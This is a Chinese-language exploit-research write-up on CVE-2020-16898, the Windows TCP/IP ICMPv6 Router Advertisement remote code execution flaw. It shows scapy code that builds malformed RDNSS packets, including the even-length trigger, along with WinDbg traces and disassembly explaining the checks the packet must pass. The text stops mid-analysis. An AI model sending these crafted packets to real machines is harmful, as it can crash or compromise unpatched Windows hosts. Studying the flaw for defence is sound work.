CVE-2020-16898 – 利用“Bad Neighbor”漏洞
引言
在2020年10月13日的补丁星期二,微软修复了一个非常有趣(且性感)的漏洞:CVE-2020-16898 – Windows TCP/IP远程代码执行漏洞。微软对该漏洞的描述如下:
“当Windows TCP/IP堆栈不当处理ICMPv6路由器通告数据包时存在远程代码执行漏洞。成功利用此漏洞的攻击者可以在目标服务器或客户端上执行代码。要利用此漏洞,攻击者必须向远程Windows计算机发送特制的ICMPv6路由器通告数据包。此更新通过纠正Windows TCP/IP堆栈处理ICMPv6路由器通告数据包的方式来解决该漏洞。”
这个漏洞非常重要,我决定为其编写概念验证代码。在我的工作期间,没有任何公开的利用程序。我花费了大量时间分析触发该漏洞所需的所有注意事项。即使现在,可用信息仍未提供足够的细节来触发该漏洞。这就是我决定总结我的经验的原因。
首先,简短总结:
- 此漏洞只能在源地址为链路本地IPv6时被利用。此要求限制了潜在目标!
- 整个有效载荷必须是有效的IPv6数据包。如果头信息搞得太乱,数据包将在触发漏洞之前被拒绝
- 在验证数据包大小的过程中,所有可选头中定义的“长度”必须与数据包大小匹配
- 此漏洞允许走私额外的“头”。此头未经验证并包含“长度”字段。触发漏洞后,此字段仍将根据数据包大小进行检查
- 可以触发该漏洞的Windows NDIS API有一个非常烦人的优化(从利用的角度来看)。要绕过它,需要使用分片!否则,可以触发漏洞,但不会导致内存破坏!
收集漏洞信息
首先,我想了解更多关于该漏洞的信息。我能找到的唯一额外信息是检测逻辑提供的分析报告。这是一个相当有趣的命运转折,关于如何防范攻击的信息对利用有所帮助。
分析报告:
最关键的是以下信息:
“虽然我们忽略所有不是RDNSS的选项,但对于选项类型=25(RDNSS),我们检查长度(选项中的第二个字节)是否为偶数。如果是,我们标记它。如果不是,我们继续。由于长度以8字节为单位计数,我们将长度乘以8并跳转那么多字节以到达下一个选项的开始(减去1以考虑我们已经消耗的长度字节)。”
好的,我们从中学到了什么?相当多:
- 我们需要发送RDNSS数据包
- 问题是长度字段中的偶数
- 负责解析数据包的函数将引用RDNSS有效载荷的最后8字节作为下一个头
这已经足够开始探索了。首先,我们需要生成一个有效的RDNSS数据包。
RDNSS
递归DNS服务器选项(RDNSS)是路由器通告(RA)消息的子选项之一。RA可以通过ICMPv6发送。让我们查看RDNSS的文档(https://tools.ietf.org/html/rfc5006):
5.1. 递归DNS服务器选项
RDNSS选项包含一个或多个递归DNS服务器的IPv6地址。所有地址共享相同的生存期值。如果需要不同的生存期值,可以使用多个RDNSS选项。图1显示了RDNSS选项的格式。
1
2
3
4
5
6
7
8
9
10
11
|
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
: Addresses of IPv6 Recursive DNS Servers :
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
长度字段的描述:
1
2
3
|
长度 8位无符号整数。选项的长度(包括类型和长度字段)以8字节为单位。
如果选项中包含一个IPv6地址,则最小值为3。每增加一个RDNSS地址,长度增加2。
接收方使用长度字段确定选项中的IPv6地址数量。
|
这本质上意味着只要有任何有效载荷,长度必须始终是奇数。好的,让我们创建一个RDNSS包。怎么做?我使用scapy,因为它是创建我们想要的任何包的最简单和最快的方法。非常简单:
1
2
3
4
5
6
7
8
9
|
v6_dst = <目标地址>
v6_src = <源地址>
c = ICMPv6NDOptRDNSS()
c.len = 7
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)
|
当我们设置内核调试器并分析tcpip.sys驱动程序中的所有公共符号时,可以找到有趣的函数名:
- tcpip!Ipv6pHandleRouterAdvertisement
- tcpip!Ipv6pUpdateRDNSS
让我们尝试在那里设置断点,看看我们的包是否到达:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
0: kd> bp tcpip!Ipv6pUpdateRDNSS
0: kd> bp tcpip!Ipv6pHandleRouterAdvertisement
0: kd> g
Breakpoint 0 hit
tcpip!Ipv6pHandleRouterAdvertisement:
fffff804`483ba398 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> kpn
# Child-SP RetAddr Call Site
00 fffff804`48a66ad8 fffff804`483c04e0 tcpip!Ipv6pHandleRouterAdvertisement
01 fffff804`48a66ae0 fffff804`4839487a tcpip!Icmpv6ReceiveDatagrams+0x340
02 fffff804`48a66cb0 fffff804`483cb998 tcpip!IppProcessDeliverList+0x30a
03 fffff804`48a66da0 fffff804`483906df tcpip!IppReceiveHeaderBatch+0x228
04 fffff804`48a66ea0 fffff804`4839037c tcpip!IppFlcReceivePacketsCore+0x34f
05 fffff804`48a66fb0 fffff804`483b24ce tcpip!IpFlcReceivePackets+0xc
06 fffff804`48a66fe0 fffff804`483b19a2 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25e
07 fffff804`48a670d0 fffff804`45a4f698 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
08 fffff804`48a67200 fffff804`45a4f60d nt!KeExpandKernelStackAndCalloutInternal+0x78
09 fffff804`48a67270 fffff804`483a1741 nt!KeExpandKernelStackAndCalloutEx+0x1d
0a fffff804`48a672b0 fffff804`4820b530 tcpip!FlReceiveNetBufferListChain+0x311
0b fffff804`48a67550 ffffcb82`f9dfb370 0xfffff804`4820b530
0c fffff804`48a67558 fffff804`48a676b0 0xffffcb82`f9dfb370
0d fffff804`48a67560 00000000`00000000 0xfffff804`48a676b0
0: kd> g
...
|
嗯…好的。我们从未命中Ipv6pUpdateRDNSS,但确实命中了Ipv6pHandleRouterAdvertisement。这意味着我们的包是好的。为什么我们没有进入Ipv6pUpdateRDNSS?
问题1 – IPv6链路本地地址
我们在这里的地址验证失败:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
fffff804`483ba4b4 458a02 mov r8b,byte ptr [r10]
fffff804`483ba4b7 8d5101 lea edx,[rcx+1]
fffff804`483ba4ba 8d5902 lea ebx,[rcx+2]
fffff804`483ba4bd 41b7c0 mov r15b,0C0h
fffff804`483ba4c0 4180f8ff cmp r8b,0FFh
fffff804`483ba4c4 0f84a8820b00 je tcpip!Ipv6pHandleRouterAdvertisement+0xb83da (fffff804`48472772)
fffff804`483ba4ca 33c0 xor eax,eax
fffff804`483ba4cc 498bca mov rcx,r10
fffff804`483ba4cf 48898570010000 mov qword ptr [rbp+170h],rax
fffff804`483ba4d6 48898578010000 mov qword ptr [rbp+178h],rax
fffff804`483ba4dd 4484d2 test dl,r10b
fffff804`483ba4e0 0f8599820b00 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb83e7 (fffff804`4847277f)
fffff804`483ba4e6 4180f8fe cmp r8b,0FEh
fffff804`483ba4ea 0f85ab820b00 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb8403 (fffff804`4847279b) [br=0]
|
r10指向地址的开头:
1
2
3
4
5
6
7
8
9
|
0: kd> dq @r10
ffffcb82`f9a5b03a 000052b0`80db12fd e5f5087c`645d7b5d
ffffcb82`f9a5b04a 000052b0`80db12fd b7220a02`ea3b3a4d
ffffcb82`f9a5b05a 08070800`e56c0086 00000000`00000000
ffffcb82`f9a5b06a ffffffff`00000719 aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b07a aaaaaaaa`aaaaaaaa aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b08a aaaaaaaa`aaaaaaaa aaaaaaaa`aaaaaaaa
ffffcb82`f9a5b09a aaaaaaaa`aaaaaaaa 63733a6e`12990c28
ffffcb82`f9a5b0aa 70752d73`616m6568 643a6772`6f2d706e
|
这些字节:
1
|
ffffcb82`f9a5b03a 000052b0`80db12fd e5f5087c`645d7b5d
|
匹配我用作源地址的IPv6地址:
1
|
v6_src = "fd12:db80:b052:0:5d7b:5d64:7c08:f5e5"
|
它与字节0xFE进行比较。通过查看这里,我们可以了解到:
- fe80::/10 — 链路本地前缀中的地址仅在单个链路上有效且唯一(类似于IPv4的自动配置地址169.254.0.0/16)
好的,所以它正在寻找链路本地前缀。另一个有趣的检查是当我们失败前一个时:
1
2
3
4
5
|
fffff804`4847279b e8f497f8ff call tcpip!IN6_IS_ADDR_LOOPBACK (fffff804`483fbf94)
fffff804`484727a0 84c0 test al,al
fffff804`484727a2 0f85567df4ff jne tcpip!Ipv6pHandleRouterAdvertisement+0x166 (fffff804`483ba4fe)
fffff804`484727a8 4180f8fe cmp r8b,0FEh
fffff804`484727ac 7515 jne tcpip!Ipv6pHandleRouterAdvertisement+0xb842b (fffff804`484727c3)
|
它检查我们是否来自环回地址,然后再次验证是否为链路本地。我修改了数据包以使用链路本地地址,然后…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
Breakpoint 1 hit
tcpip!Ipv6pUpdateRDNSS:
fffff804`4852a534 4055 push rbp
0: kd> kpn
# Child-SP RetAddr Call Site
00 fffff804`48a66728 fffff804`48472cbf tcpip!Ipv6pUpdateRDNSS
01 fffff804`48a66730 fffff804`483c04e0 tcpip!Ipv6pHandleRouterAdvertisement+0xb8927
02 fffff804`48a66ae0 fffff804`4839487a tcpip!Icmpv6ReceiveDatagrams+0x340
03 fffff804`48a66cb0 fffff804`483cb998 tcpip!IppProcessDeliverList+0x30a
04 fffff804`48a66da0 fffff804`483906df tcpip!IppReceiveHeaderBatch+0x228
05 fffff804`48a66ea0 fffff804`4839037c tcpip!IppFlcReceivePacketsCore+0x34f
06 fffff804`48a66fb0 fffff804`483b24ce tcpip!IpFlcReceivePackets+0xc
07 fffff804`48a66fe0 fffff804`483b19a2 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25e
08 fffff804`48a670d0 fffff804`45a4f698 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
09 fffff804`48a67200 fffff804`45a4f60d nt!KeExpandKernelStackAndCalloutInternal+0x78
0a fffff804`48a67270 fffff804`483a1741 nt!KeExpandKernelStackAndCalloutEx+0x1d
0b fffff804`48a672b0 fffff804`4820b530 tcpip!FlReceiveNetBufferListChain+0x311
0c fffff804`48a67550 ffffcb82`f9dfb370 0xfffff804`4820b530
0d fffff804`48a67558 fffff804`48a676b0 0xffffcb82`f9dfb370
0e fffff804`48a67560 00000000`00000000 0xfffff804`48a676b0
|
有效!好的,让我们进入触发漏洞阶段。
触发漏洞
我们从检测逻辑分析报告中了解到:
“我们检查长度(选项中的第二个字节)是否为偶数”
让我们测试一下:
1
2
3
4
5
6
7
8
9
|
v6_dst = <目标地址>
v6_src = <源地址>
c = ICMPv6NDOptRDNSS()
c.len = 6
c.dns = [ "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = IPv6(dst=v6_dst, src=v6_src, hlim=255) / ICMPv6ND_RA() / c
send(pkt)
|
我们最终执行了这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
fffff804`4852a5b3 4c8b15be8b0700 mov r10,qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff804`485a3178)]
fffff804`4852a5ba e8113bceff call fffff804`4820e0d0
fffff804`4852a5bf 418bd7 mov edx,r15d
fffff804`4852a5c2 498bce mov rcx,r14
fffff804`4852a5c5 488bd8 mov rbx,rax
fffff804`4852a5c8 e8a39de5ff call tcpip!NetioAdvanceNetBuffer (fffff804`48384370)
fffff804`4852a5cd 0fb64301 movzx eax,byte ptr [rbx+1]
fffff804`4852a5d1 8d4e01 lea ecx,[rsi+1]
fffff804`4852a5d4 2bc6 sub eax,esi
fffff804`4852a5d6 4183cfff or r15d,0FFFFFFFFh
fffff804`4852a5da 99 cdq
fffff804`4852a5db f7f9 idiv
|